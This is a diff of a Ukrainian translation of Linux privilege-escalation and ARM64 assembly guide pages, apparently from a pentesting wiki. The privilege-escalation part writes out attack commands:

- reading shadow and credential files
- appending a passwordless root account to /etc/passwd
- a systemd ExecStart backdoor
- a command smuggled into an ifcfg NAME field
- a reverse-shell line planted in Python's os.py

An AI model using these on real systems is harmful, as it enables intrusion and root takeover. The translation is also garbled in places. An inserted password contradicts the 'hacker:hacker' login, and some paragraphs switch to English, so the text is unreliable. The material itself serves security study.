іншої машини, цей хост зможе отримати доступ до ключів (що є проблемою безпеки). -Файл `/etc/ssh_config` може **перезаписати** ці **опції** та дозволити або заборонити цю конфігурацію.\ -Файл `/etc/sshd_config` може **дозволяти** або **забороняти** ssh-agent forwarding за допомогою ключового слова `AllowAgentForwarding` (за замовчуванням — allow). +Файл `/etc/ssh_config` може **перезаписати** ці **опції** та дозволити або заборонити цю конфігурацію.\ +Файл `/etc/sshd_config` може **дозволяти** або **забороняти** ssh-agent forwarding за допомогою ключового слова `AllowAgentForwarding` (за замовчуванням — дозволено). -Якщо ви виявите, що Forward Agent налаштовано в середовищі, прочитайте наступну сторінку, оскільки **ви можете зловживати цим для ескалації привілеїв**: +Якщо ви виявите, що Forward Agent налаштований у середовищі, прочитайте наступну сторінку, оскільки **ви можете використати це для ескалації привілеїв**: {{#ref}} @@ -1184,34 +1185,34 @@ ssh-forward-agent-exploitation.md ### Файли профілів -Файл `/etc/profile` та файли в каталозі `/etc/profile.d/` — це **скрипти, які виконуються при запуску користувачем нового shell**. Тому, якщо ви можете **створювати або змінювати будь-який із них, ви можете ескалювати привілеї**. +Файл `/etc/profile` та файли в каталозі `/etc/profile.d/` — це **скрипти, які виконуються, коли користувач запускає новий shell**. Отже, якщо ви можете **записати або змінити будь-який із них, ви можете ескалювати привілеї**. ```bash ls -l /etc/profile /etc/profile.d/ ``` -Якщо знайдено дивний скрипт профілю, слід перевірити його на **чутливі дані**. +Якщо знайдено будь-який підозрілий скрипт профілю, перевірте його на наявність **чутливих деталей**. -### Файли Passwd/Shadow +### Passwd/Shadow Files -В залежності від OS файли `/etc/passwd` та `/etc/shadow` можуть мати іншу назву або бути резервними копіями. Тому рекомендовано **знайти всі** та **перевірити, чи можна їх прочитати**, щоб побачити **чи є hashes** всередині файлів: +Залежно від ОС файли `/etc/passwd` та `/etc/shadow` можуть використовувати іншу назву або існувати їхні резервні копії. Тому рекомендовано **знайти їх усі** та **перевірити, чи можна їх прочитати**, щоб побачити **чи містять hashes** всередині файлів: ```bash #Passwd equivalent files cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null #Shadow equivalent files cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db /etc/security/opasswd 2>/dev/null ``` -Іноді у файлі `/etc/passwd` (або його еквіваленті) можна знайти **password hashes** +У деяких випадках ви можете знайти **password hashes** у файлі `/etc/passwd` (або еквівалентному). ```bash grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null ``` -### Доступний для запису /etc/passwd +### /etc/passwd доступний для запису -Спочатку згенеруйте пароль за допомогою однієї з таких команд. +Спочатку згенеруйте пароль за допомогою однієї з наступних команд. ``` openssl passwd -1 -salt hacker hacker mkpasswd -m SHA-512 hacker python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")' ``` -Потім додайте користувача `hacker` і додайте згенерований пароль. +Потім додайте користувача `hacker` і встановіть згенерований пароль `m9X#4qZt!pV1`. ``` hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash ``` @@ -1219,34 +1220,34 @@ hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash Тепер ви можете використовувати команду `su` з `hacker:hacker` -Альтернативно, ви можете використати наступні рядки, щоб додати фіктивного користувача без пароля.\ -УВАГА: це може погіршити поточний рівень безпеки машини. +Як альтернативу, ви можете використати наступні рядки, щоб додати фіктивного користувача без пароля.\ +УВАГА: ви можете погіршити поточну безпеку машини. ``` echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd su - dummy ``` -ПРИМІТКА: У BSD-платформах `/etc/passwd` розташований у `/etc/pwd.db` та `/etc/master.passwd`, також `/etc/shadow` перейменовано на `/etc/spwd.db`. +ПРИМІТКА: На платформах BSD `/etc/passwd` розташований у `/etc/pwd.db` та `/etc/master.passwd`, також `/etc/shadow` перейменовано на `/etc/spwd.db`. -Вам слід перевірити, чи можете ви **записувати в деякі чутливі файли**. Наприклад, чи можете ви записати в якийсь **файл конфігурації сервісу**? +Вам слід перевірити, чи можете ви **записати в деякі чутливі файли**. Наприклад, чи можете ви записати у будь-який **файл конфігурації сервісу**? ```bash find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user ``` -Наприклад, якщо на машині запущено сервер **tomcat** і ви можете **змінити файл конфігурації служби Tomcat всередині /etc/systemd/,** тоді ви можете змінити рядки: +Наприклад, якщо на машині працює сервер **tomcat** і ви можете **змінити файл конфігурації служби Tomcat всередині /etc/systemd/,** то ви можете змінити рядки: ``` ExecStart=/path/to/backdoor User=root Group=root ``` -Ваш backdoor виконається наступного разу, коли tomcat буде запущено. +Ваш backdoor буде виконаний наступного разу, коли tomcat буде запущено. ### Перевірте папки -У наступних папках можуть міститися резервні копії або цікава інформація: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (Можливо, ви не зможете прочитати останню, але спробуйте) +Наступні папки можуть містити резервні копії або цікаву інформацію: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (Ймовірно, ви не зможете прочитати останню, але спробуйте) ```bash ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root ``` -### Дивне розташування/Owned files +### Дивні розташування/Owned файли ```bash #root owned files in /home folders find /home -user root 2>/dev/null @@ -1298,12 +1299,12 @@ find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/gam ### Відомі файли, що містять паролі Перегляньте код [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS), він шукає **кілька можливих файлів, які можуть містити паролі**.\ -**Ще один цікавий інструмент**, який ви можете використати для цього: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) — відкритий додаток, що використовується для отримання великої кількості паролів, збережених на локальному комп'ютері для Windows, Linux & Mac. +**Ще один цікавий інструмент**, який ви можете використати для цього: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) — це програма з відкритим кодом, що дозволяє отримувати велику кількість паролів, збережених на локальному комп'ютері для Windows, Linux & Mac. -### Журнали +### Логи -Якщо ви можете читати журнали, ви можете знайти в них **цікаву/конфіденційну інформацію**. Чим дивніший журнал — тим цікавішим він, ймовірно, буде.\ -Також деякі "**bad**" сконфігуровані (backdoored?) **журнали аудиту** можуть дозволити вам **записувати паролі** всередині журналів аудиту, як пояснюється в цій публікації: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). +Якщо ви можете читати логи, можливо, ви знайдете в них **цікаву/конфіденційну інформацію**. Чим дивніший лог, тим цікавішим він може бути (ймовірно).\ +Також деякі "**bad**" налаштовані (backdoored?) **audit logs** можуть дозволити вам **записувати паролі** всередині audit logs, як пояснюється в цій публікації: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/]. ```bash aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g" grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null @@ -1323,14 +1324,14 @@ grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null ``` ### Generic Creds Search/Regex -Ви також повинні перевіряти файли, що містять слово "**password**" у своїй **назві** або в **вмісті**, а також шукати IP-адреси та email-и у логах або регулярні вирази для хешів.\ -Я не збираюся тут перераховувати, як робити все це, але якщо вам цікаво, ви можете переглянути останні перевірки, які виконує [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh). +Ви також повинні перевіряти файли, що містять слово "**password**" у своїй **назві** або в **вмісті**, а також шукати IPs та emails у logs, або hashes regexps.\ +Я не збираюся тут перелічувати, як усе це робити, але якщо вам цікаво, ви можете перевірити останні перевірки, які виконує [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh). -## Файли, доступні для запису +## Файли доступні для запису ### Python library hijacking -Якщо ви знаєте, **звідки** буде виконуватися python-скрипт і ви **можете записувати в** ту папку або можете **модифікувати python бібліотеки**, ви можете змінити бібліотеку os і backdoor її (якщо ви можете записувати туди, де виконуватиметься python-скрипт, скопіюйте та вставте бібліотеку os.py). +Якщо ви знаєте **звідки** буде виконуватися python-скрипт і ви **можете записувати в цю папку** або можете **модифікувати python libraries**, ви можете змінити OS library і backdoor it (якщо ви можете писати туди, де буде виконуватися python-скрипт, скопіюйте й вставте бібліотеку os.py). Щоб **backdoor the library**, просто додайте в кінець бібліотеки os.py наступний рядок (змініть IP та PORT): ```python @@ -1338,42 +1339,42 @@ import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s ``` ### Logrotate exploitation -Уразливість в `logrotate` дозволяє користувачам з **правами на запис** у файл журналу або в його батьківські директорії потенційно отримати підвищені привілеї. Це відбувається тому, що `logrotate`, який часто запускається як **root**, можна примусити виконати довільні файли, особливо в директоріях типу _**/etc/bash_completion.d/**_. Важливо перевіряти права не тільки в _/var/log_, а й у будь-якій директорії, де застосовується ротація логів. +Уразливість в `logrotate` дозволяє користувачам з **правами на запис** у файл журналу або його батьківські директорії потенційно отримати підвищені привілеї. Це тому, що `logrotate`, який часто працює як **root**, можна змусити виконувати довільні файли, особливо в директоріях на кшталт _**/etc/bash_completion.d/**_. Важливо перевіряти права не тільки в _/var/log_, але й у будь-яких директоріях, де застосовується ротація логів. > [!TIP] > Ця вразливість стосується `logrotate` версії `3.18.0` та старіших Більш детальну інформацію про вразливість можна знайти на цій сторінці: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). -Експлуатувати цю вразливість можна за допомогою [**logrotten**](https://github.com/whotwagner/logrotten). +Можна експлуатувати цю вразливість за допомогою [**logrotten**](https://github.com/whotwagner/logrotten). -Ця вразливість дуже схожа на [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** тому коли ви виявите, що можете змінювати журнали, перевірте, хто ними керує, і чи можна підвищити привілеї, підставивши журнали як symlinks. +Ця вразливість дуже схожа на [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** тож кожного разу, коли ви виявляєте, що можете змінювати логи, перевірте, хто ними керує, і чи можна підвищити привілеї, замінивши логи symlinks. ### /etc/sysconfig/network-scripts/ (Centos/Redhat) **Vulnerability reference:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) -Якщо з якоїсь причини користувач може **записати** скрипт `ifcf-` у _/etc/sysconfig/network-scripts_ **або** може **змінити** існуючий, то ваша **system is pwned**. +Якщо з будь-якої причини користувач може **записати** скрипт `ifcf-` в _/etc/sysconfig/network-scripts_ **або** може **змінити** існуючий, то ваша **system is pwned**. -Мережеві скрипти, наприклад _ifcg-eth0_, використовуються для мережевих підключень. Вони виглядають точно як файлові .INI. Однак вони \~sourced\~ в Linux через Network Manager (dispatcher.d). +Мережеві скрипти, _ifcg-eth0_ наприклад, використовуються для мережевих підключень. Вони виглядають точно як .INI файли. Однак вони ~sourced~ у Linux Network Manager (dispatcher.d). -У моєму випадку атрибут `NAME=` у цих мережевих скриптах обробляється некоректно. Якщо в імені є **пробіл/порожній символ, система намагається виконати частину після пробілу**. Це означає, що **все, що йде після першого пробілу, виконується як root**. +У моєму випадку атрибут `NAME=` у цих мережевих скриптах обробляється неправильно. Якщо в NAME є **пробіл/blank space**, система намагається виконати частину після пробілу. Це означає, що **все, що йде після першого пробілу, виконується як root**. -Для прикладу: _/etc/sysconfig/network-scripts/ifcfg-1337_ +For example: _/etc/sysconfig/network-scripts/ifcfg-1337_ ```bash NAME=Network /bin/id ONBOOT=yes DEVICE=eth0 ``` -(_Зверніть увагу на пробіл між Network та /bin/id_) +(_Зауважте порожній пробіл між Network та /bin/id_) ### **init, init.d, systemd, та rc.d** -Каталог `/etc/init.d` містить **скрипти** для System V init (SysVinit), **класичної системи управління сервісами в Linux**. Він включає скрипти для `start`, `stop`, `restart` і іноді `reload` сервісів. Їх можна виконувати безпосередньо або через символічні посилання, що знаходяться в `/etc/rc?.d/`. Альтернативний шлях у системах Redhat — `/etc/rc.d/init.d`. +The directory `/etc/init.d` is home to **scripts** for System V init (SysVinit), the **classic Linux service management system**. It includes scripts to `start`, `stop`, `restart`, and sometimes `reload` services. These can be executed directly or through symbolic links found in `/etc/rc?.d/`. An alternative path in Redhat systems is `/etc/rc.d/init.d`. -Натомість `/etc/init` пов’язаний з **Upstart**, новішою системою **управління сервісами**, впровадженою Ubuntu, що використовує конфігураційні файли для задач управління сервісами. Незважаючи на перехід на Upstart, скрипти SysVinit все ще використовуються поряд із конфігураціями Upstart через шар сумісності в Upstart. +On the other hand, `/etc/init` is associated with **Upstart**, a newer **service management** introduced by Ubuntu, using configuration files for service management tasks. Despite the transition to Upstart, SysVinit scripts are still utilized alongside Upstart configurations due to a compatibility layer in Upstart. -**systemd** виступає як сучасний ініціалізатор і менеджер сервісів, пропонуючи розширені можливості, такі як запуск демонів за запитом, керування automount і знімки стану системи. Він організовує файли в `/usr/lib/systemd/` для пакетів дистрибуції та в `/etc/systemd/system/` для змін адміністратором, що спрощує адміністрування системи. +**systemd** emerges as a modern initialization and service manager, offering advanced features such as on-demand daemon starting, automount management, and system state snapshots. It organizes files into `/usr/lib/systemd/` for distribution packages and `/etc/systemd/system/` for administrator modifications, streamlining the system administration process. ## Інші трюки @@ -1412,13 +1413,13 @@ android-rooting-frameworks-manager-auth-bypass-syscall-hook.md - [https://github.com/a13xp0p0v/kconfig-hardened-check](https://github.com/a13xp0p0v/kconfig-hardened-check) - [https://github.com/a13xp0p0v/linux-kernel-defence-map](https://github.com/a13xp0p0v/linux-kernel-defence-map) -## Додаткова допомога +## Більше допомоги [Static impacket binaries](https://github.com/ropnop/impacket_static_binaries) ## Linux/Unix Privesc Tools -### **Найкращий інструмент для пошуку Linux local privilege escalation vectors:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) +### **Найкращий інструмент для пошуку Linux local privilege escalation векторів:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) **LinEnum**: [https://github.com/rebootuser/LinEnum](https://github.com/rebootuser/LinEnum)(-t option)\ **Enumy**: [https://github.com/luke-goddard/enumy](https://github.com/luke-goddard/enumy)\ @@ -1431,7 +1432,7 @@ android-rooting-frameworks-manager-auth-bypass-syscall-hook.md **EvilAbigail (physical access):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\ **Recopilation of more scripts**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc) -## Посилання +## References - [https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/](https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/) - [https://payatu.com/guide-linux-privilege-escalation/](https://payatu.com/guide-linux-privilege-escalation/) diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md index f157eee03..3f450b733 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md @@ -4,252 +4,254 @@ ## **Рівні виключень - EL (ARM64v8)** -В архітектурі ARMv8 рівні виконання, відомі як Рівні виключень (EL), визначають рівень привілеїв та можливості середовища виконання. Є чотири рівні виключень, від EL0 до EL3, кожен з яких виконує різну функцію: +В архітектурі ARMv8 рівні виконання, відомі як Exception Levels (EL), визначають рівень привілеїв і можливості середовища виконання. Існує чотири рівні виключень, від EL0 до EL3, кожен з яких виконує різну роль: -1. **EL0 - Режим користувача**: -- Це найменш привілейований рівень, який використовується для виконання звичайного коду додатків. -- Додатки, що працюють на EL0, ізольовані один від одного та від системного програмного забезпечення, що підвищує безпеку та стабільність. -2. **EL1 - Режим ядра операційної системи**: +1. **EL0 - User Mode**: +- Це найменш привілейований рівень, використовується для виконання звичайного коду додатків. +- Додатки, що працюють на EL0, ізольовані один від одного та від системного програмного забезпечення, що підсилює безпеку та стабільність. +2. **EL1 - Operating System Kernel Mode**: - Більшість ядер операційних систем працюють на цьому рівні. -- EL1 має більше привілеїв, ніж EL0, і може отримувати доступ до системних ресурсів, але з деякими обмеженнями для забезпечення цілісності системи. -3. **EL2 - Режим гіпервізора**: -- Цей рівень використовується для віртуалізації. Гіпервізор, що працює на EL2, може керувати кількома операційними системами (кожна у своєму EL1), що працюють на одному фізичному апараті. -- EL2 надає функції для ізоляції та контролю віртуалізованих середовищ. -4. **EL3 - Режим безпечного монітора**: -- Це найпривілейованіший рівень, який часто використовується для безпечного завантаження та довірених середовищ виконання. -- EL3 може керувати та контролювати доступи між безпечними та небезпечними станами (такими як безпечне завантаження, довірена ОС тощо). +- EL1 має більше привілеїв ніж EL0 і може отримувати доступ до системних ресурсів, але з певними обмеженнями для збереження цілісності системи. +3. **EL2 - Hypervisor Mode**: +- Цей рівень використовується для віртуалізації. Гіпервізор, що працює на EL2, може керувати кількома операційними системами (кожна в своєму EL1) на одній апаратній платформі. +- EL2 надає можливості для ізоляції та контролю віртуалізованих середовищ. +4. **EL3 - Secure Monitor Mode**: +- Це найпривілейований рівень, часто використовується для secure boot і trusted execution environments. +- EL3 може керувати доступом між secure і non-secure станами (наприклад secure boot, trusted OS тощо). -Використання цих рівнів дозволяє структуровано та безпечно управляти різними аспектами системи, від користувацьких додатків до найпривілейованішого системного програмного забезпечення. Підхід ARMv8 до рівнів привілеїв допомагає ефективно ізолювати різні компоненти системи, тим самим підвищуючи безпеку та надійність системи. +Використання цих рівнів дозволяє впорядковано і безпечно керувати різними аспектами системи — від користувацьких додатків до найбільш привілейованого системного ПЗ. Підхід ARMv8 до рівнів привілеїв допомагає ефективно ізолювати різні компоненти системи, підвищуючи її безпеку та надійність. -## **Реєстри (ARM64v8)** +## **Регістри (ARM64v8)** -ARM64 має **31 загальний реєстр**, позначений `x0` до `x30`. Кожен може зберігати **64-бітне** (8-байтове) значення. Для операцій, які вимагають лише 32-бітних значень, ті ж реєстри можуть бути доступні в 32-бітному режимі, використовуючи назви w0 до w30. +ARM64 має **31 регістр загального призначення**, позначених `x0` до `x30`. Кожен може зберігати **64-бітне** (8-байт) значення. Для операцій, що вимагають лише 32-бітних значень, ті самі регістри можна читати в 32-бітному режимі за іменами `w0` до `w30`. -1. **`x0`** до **`x7`** - Зазвичай використовуються як реєстри для тимчасових даних та для передачі параметрів підпрограмам. -- **`x0`** також несе дані повернення функції. -2. **`x8`** - У ядрі Linux `x8` використовується як номер системного виклику для інструкції `svc`. **У macOS використовується x16!** -3. **`x9`** до **`x15`** - Більше тимчасових реєстрів, часто використовуються для локальних змінних. -4. **`x16`** та **`x17`** - **Реєстри внутрішньопроцедурного виклику**. Тимчасові реєстри для негайних значень. Вони також використовуються для непрямих викликів функцій та PLT (таблиці зв'язування процедур). -- **`x16`** використовується як **номер системного виклику** для інструкції **`svc`** в **macOS**. -5. **`x18`** - **Реєстр платформи**. Може використовуватися як загальний реєстр, але на деяких платформах цей реєстр зарезервований для специфічних для платформи використань: вказівник на блок середовища поточного потоку в Windows або вказівник на поточну **структуру виконуваного завдання в ядрі linux**. -6. **`x19`** до **`x28`** - Це реєстри, збережені викликом. Функція повинна зберігати значення цих реєстрів для свого виклику, тому вони зберігаються в стеку та відновлюються перед поверненням до виклику. -7. **`x29`** - **Вказівник кадру** для відстеження кадру стеку. Коли створюється новий кадр стеку через виклик функції, реєстр **`x29`** **зберігається в стеку**, а адреса **нового** вказівника кадру (**адреса `sp`**) **зберігається в цьому реєстрі**. -- Цей реєстр також може використовуватися як **загальний реєстр**, хоча зазвичай використовується як посилання на **локальні змінні**. -8. **`x30`** або **`lr`** - **Реєстр зв'язку**. Він містить **адресу повернення**, коли виконується інструкція `BL` (перехід з посиланням) або `BLR` (перехід з посиланням на реєстр), зберігаючи значення **`pc`** в цьому реєстрі. -- Його також можна використовувати як будь-який інший реєстр. -- Якщо поточна функція збирається викликати нову функцію і, отже, перезаписати `lr`, вона спочатку зберігає його в стеку, це епілог (`stp x29, x30 , [sp, #-48]; mov x29, sp` -> Зберегти `fp` та `lr`, створити простір і отримати новий `fp`) і відновлює його в кінці, це пролог (`ldp x29, x30, [sp], #48; ret` -> Відновити `fp` та `lr` і повернутися). -9. **`sp`** - **Вказівник стеку**, використовується для відстеження верхньої частини стеку. -- Значення **`sp`** завжди повинно зберігатися принаймні з **квадратним** **вирівнюванням**, інакше може виникнути виняток вирівнювання. -10. **`pc`** - **Лічильник програми**, який вказує на наступну інструкцію. Цей реєстр може бути оновлений лише через генерацію виключень, повернення з виключень та переходи. Єдині звичайні інструкції, які можуть читати цей реєстр, - це інструкції переходу з посиланням (BL, BLR), щоб зберегти адресу **`pc`** в **`lr`** (реєстр зв'язку). -11. **`xzr`** - **Нульовий реєстр**. Також називається **`wzr`** у його **32**-бітній формі. Може використовуватися для отримання нульового значення легко (звичайна операція) або для виконання порівнянь за допомогою **`subs`**, таких як **`subs XZR, Xn, #10`**, зберігаючи результуючі дані нікуди (в **`xzr`**). +1. **`x0`** до **`x7`** - Зазвичай використовуються як тимчасові регістри та для передачі параметрів у підпрограми. +- **`x0`** також містить повертані дані функції +2. **`x8`** - У ядрі Linux `x8` використовується як номер системного виклику для інструкції `svc`. **В macOS використовується x16!** +3. **`x9`** до **`x15`** - Додаткові тимчасові регістри, часто використовуються для локальних змінних. +4. **`x16`** і **`x17`** - **Intra-procedural Call Registers**. Тимчасові регістри для негайних значень. Також використовуються для непрямих викликів функцій та PLT-стабів. +- **`x16`** використовується як **system call number** для інструкції **`svc`** в **macOS**. +5. **`x18`** - **Platform register**. Може використовуватися як регістр загального призначення, але на деяких платформах цей регістр зарезервований для специфічного використання: вказівник на поточний thread environment block у Windows або вказівник на структуру виконуючого завдання в linux kernel. +6. **`x19`** до **`x28`** - Це регістри, які зберігаються для викликаного коду (callee-saved). Функція має зберегти значення цих регістрів для свого викликача, тому вони зберігаються в steku і відновлюються перед поверненням. +7. **`x29`** - **Frame pointer** для відстеження стекового фрейму. Коли створюється новий стековий фрейм через виклик функції, регістр **`x29`** **зберігається в стек**, а **новий** адреса фрейм-пойнтера (адреса **`sp`**) **зберігається в цьому регістрі**. +- Цей регістр також може використовуватися як регістр загального призначення, хоча зазвичай служить для посилань на **локальні змінні**. +8. **`x30`** або **`lr`** - **Link register**. Тримає **адресу повернення** при виконанні інструкції `BL` (Branch with Link) або `BLR` (Branch with Link to Register) шляхом збереження значення **`pc`** в цей регістр. +- Може також використовуватися як звичайний регістр. +- Якщо поточна функція викликає іншу функцію і тим самим перезапише `lr`, вона збереже його в стек на початку — це епілог (`stp x29, x30 , [sp, #-48]; mov x29, sp` -> Зберегти `fp` і `lr`, виділити місце і отримати новий `fp`) і відновить його в кінці — це пролог (`ldp x29, x30, [sp], #48; ret` -> Відновити `fp` і `lr` і повернутися). +9. **`sp`** - **Stack pointer**, використовується для відстеження вершини стеку. +- Значення **`sp`** завжди має бути вирівняне щонайменше по **quadword**, інакше може виникнути помилка вирівнювання. +10. **`pc`** - **Program counter**, вказує на наступну інструкцію. Цей регістр можна оновлювати лише через генерацію виключень, повернення з виключень та переходи. Єдині звичайні інструкції, які можуть читати цей регістр — це інструкції branch with link (BL, BLR), які зберігають адресу **`pc`** в **`lr`** (Link Register). +11. **`xzr`** - **Zero register**. Також називається **`wzr`** в 32-бітній формі. Може використовуватися для отримання нульового значення або для виконання порівнянь з використанням **`subs`**, наприклад **`subs XZR, Xn, #10`**, де результат нікуди не зберігається (в **`xzr`**). -Реєстри **`Wn`** є **32-бітною** версією реєстрів **`Xn`**. +Регістрі **`Wn`** — це **32-бітна** версія регістра **`Xn`**. -### SIMD та плаваючі реєстри +> [!TIP] +> Регістри з X0 по X18 є летючими (volatile), тобто їхні значення можуть змінюватися викликами функцій та перериваннями. Натомість регістри з X19 по X28 є нелетючими (non-volatile) — їхні значення мають зберігатися під час викликів функцій ("callee saved"). -Крім того, є ще **32 реєстри довжиною 128 біт**, які можуть використовуватися в оптимізованих операціях з одноразовими інструкціями множинних даних (SIMD) та для виконання арифметики з плаваючою комою. Вони називаються реєстрами Vn, хоча вони також можуть працювати в **64**-бітному, **32**-бітному, **16**-бітному та **8**-бітному режимах, і тоді їх називають **`Qn`**, **`Dn`**, **`Sn`**, **`Hn`** та **`Bn`**. +### SIMD та регістри для плаваючої точки -### Системні реєстри +Крім того, існує ще **32 регістри довжиною 128 біт**, які використовуються для оптимізованих SIMD-операцій та для обчислень з плаваючою комою. Вони називаються Vn, хоча також можуть оперувати як **64**-бітні, **32**-бітні, **16**-бітні та **8**-бітні і тоді позначаються як **`Qn`**, **`Dn`**, **`Sn`**, **`Hn`** та **`Bn`**. -**Є сотні системних реєстрів**, також відомих як спеціалізовані реєстри (SPRs), які використовуються для **моніторингу** та **контролю** поведінки **процесорів**.\ -Вони можуть бути прочитані або встановлені лише за допомогою спеціальних інструкцій **`mrs`** та **`msr`**. +### Системні регістри -Спеціальні реєстри **`TPIDR_EL0`** та **`TPIDDR_EL0`** зазвичай зустрічаються під час реверсного інжинірингу. Суфікс `EL0` вказує на **мінімальне виключення**, з якого можна отримати доступ до реєстру (в цьому випадку EL0 - це звичайний рівень виключення (привілеїв), з яким працюють звичайні програми).\ -Вони часто використовуються для зберігання **базової адреси регіону локального зберігання потоку** пам'яті. Зазвичай перший з них є читабельним і записуваним для програм, що працюють на EL0, але другий може бути прочитаний з EL0 і записаний з EL1 (як ядро). +**Існують сотні системних регістрів**, також відомих як спеціальні регістри (SPRs), які використовуються для **моніторингу** та **керування** поведінкою процесора.\ +Їх можна читати або записувати лише за допомогою спеціальних інструкцій **`mrs`** та **`msr`**. -- `mrs x0, TPIDR_EL0 ; Прочитати TPIDR_EL0 в x0` -- `msr TPIDR_EL0, X0 ; Записати x0 в TPIDR_EL0` +Спеціальні регістри **`TPIDR_EL0`** та **`TPIDDR_EL0`** часто зустрічаються під час реверс-інженірингу. Суфікс `EL0` вказує на **мінімальний рівень виключення**, з якого можна звертатися до регістра (в цьому випадку EL0 — звичайний рівень привілеїв, на якому працюють програми).\ +Вони часто використовуються для зберігання **базової адреси thread-local storage** регіону пам'яті. Зазвичай перший доступний для читання/запису з EL0, але другий можна читати з EL0 і записувати з EL1 (наприклад ядром). + +- `mrs x0, TPIDR_EL0 ; Read TPIDR_EL0 into x0` +- `msr TPIDR_EL0, X0 ; Write x0 into TPIDR_EL0` ### **PSTATE** -**PSTATE** містить кілька компонентів процесу, серіалізованих у видимому для операційної системи **`SPSR_ELx`** спеціальному реєстрі, де X - це **рівень дозволу** **викликаного** виключення (це дозволяє відновити стан процесу, коли виключення закінчується).\ -Це доступні поля: +**PSTATE** містить кілька компонент стану процесу, серіалізованих в операційно-видимому спеціальному регістрі **`SPSR_ELx`**, де X — **рівень дозволів** (permission level) викликаного виключення (це дозволяє відновити стан процесу після завершення виключення).\ +Доступні поля:
-- Умовні прапори **`N`**, **`Z`**, **`C`** та **`V`**: +- Прапорці умов (`N`, `Z`, `C`, `V`): - **`N`** означає, що операція дала негативний результат - **`Z`** означає, що операція дала нуль -- **`C`** означає, що операція перенесла -- **`V`** означає, що операція дала підписане переповнення: -- Сума двох позитивних чисел дає негативний результат. -- Сума двох негативних чисел дає позитивний результат. -- У відніманні, коли велике негативне число віднімається від меншого позитивного числа (або навпаки), і результат не може бути представленим у межах заданого розміру біта. -- Очевидно, процесор не знає, чи операція підписана чи ні, тому він перевірить C та V в операціях і вказує, чи відбулося перенесення у випадку, якщо це було підписане або беззнакове. +- **`C`** означає, що сталася перенос (carry) +- **`V`** означає, що сталася арифметична переповнення (signed overflow): + - Сума двох позитивних чисел дала негативний результат. + - Сума двох негативних чисел дала позитивний результат. + - При відніманні, коли велике від’ємне число віднімається від меншого позитивного (або навпаки), і результат не може бути представлений у межах даного розміру бітів. + - Процесор не знає, чи була операція зі знаком або без; тому він перевіряє `C` і `V` у операціях і вказує, чи стався перенос у випадку, якщо операція була знакова або беззнакова. > [!WARNING] -> Не всі інструкції оновлюють ці прапори. Деякі, такі як **`CMP`** або **`TST`**, роблять це, а інші, які мають суфікс s, такі як **`ADDS`**, також це роблять. +> Не всі інструкції оновлюють ці прапорці. Деякі, як **`CMP`** або **`TST`**, оновлюють, і інші з суфіксом `s`, як **`ADDS`**, також це роблять. -- Поточний **прапор ширини реєстру (`nRW`)**: Якщо прапор має значення 0, програма буде виконуватися в стані виконання AArch64 після відновлення. -- Поточний **рівень виключення** (**`EL`**): Звичайна програма, що працює на EL0, матиме значення 0. -- Прапор **одиночного кроку** (**`SS`**): Використовується відладчиками для виконання одиночного кроку, встановлюючи прапор SS в 1 всередині **`SPSR_ELx`** через виключення. Програма виконає крок і видасть виключення одиночного кроку. -- Прапор **недопустимого 